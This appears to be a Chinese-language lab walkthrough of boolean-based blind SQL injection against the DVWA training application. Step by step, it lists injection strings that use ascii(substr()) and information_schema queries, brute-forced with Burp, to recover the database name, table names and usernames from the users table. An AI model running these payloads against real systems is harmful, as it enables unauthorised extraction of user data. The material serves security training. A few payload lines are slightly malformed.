step1:判断是否存在注入以及注入类型
-
输入1,输出exists
-
输入1 and 1=2# 输出exists 说明他不是整型注入,是字符型注入
验证是字符型注入
step2:判断列数,用 order by
-
输入1' and order by 2 # 显示exists,而输入1' and order by 3 # 报错,说明只有两列
step3:猜解数据库的长度(绝大部分不超过10位)
-
输入1' and length(database())=5 # 用brup抓包去保利破解他的长度
猜解成功,数据库的长度为4位
step4:现在来猜解数据库的名字
-
输入1' and ascii(substr(database(),1,1))=65 # 这里的substr是取数据库的第一个字符(其中死第一个1是从1开始,第二个1是取几个字符),看他等不等于ascii表中的65 ,然后用brup爆破猜解数据库的名字,因为要直接爆破他的名字,而不是一个一个爆破,这样速度太慢了。爆破模式选择选择第四种。
step5:数据库名字知道后,就可以来猜解数据库中有多少个数据表
-
输入1' and (select count(table_name) from information_schema.tables where table_schema=database())=5 # 然后用BRUP抓包破解,可以看出它里面只有2个表
step6:现在来猜解表名
-
先来猜解第一个表的长度,输入 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 # 其中limit的意思限制输出,在这里的意思就是从数据dvwa中选取第一个表的意思,然后继续用brup爆破他的长度,可以看出他的长度为9位
-
现在来爆破第一个表的名字,输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =65 # 注意这里后面这里的两个1,第一个1是数据表的第一个字符(这个可爆破),第二个1是提取1个字符。然后用brup爆破他的名字。
-
现在来猜解第二个表名,重复上面的步骤,输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=10 #
-
现在又来猜解第二个表名重复上面的第二个步骤,输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) =65 #
step7:从上面两个表对比,很明显我们需要知道第二表的内容
-
猜解users表中的字段个数,输入 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 #
-
一个一个爆破太慢了,我就我详细讲了,直接爆破里面的user字段中的第一个字段,输入 1' and ascii(substr((select user from users limit 0,1),1,1))=65 #
以此类推爆破第二用户名,输入:1' and ascii(substr((select user from users limit 1,1),1,1))=65 #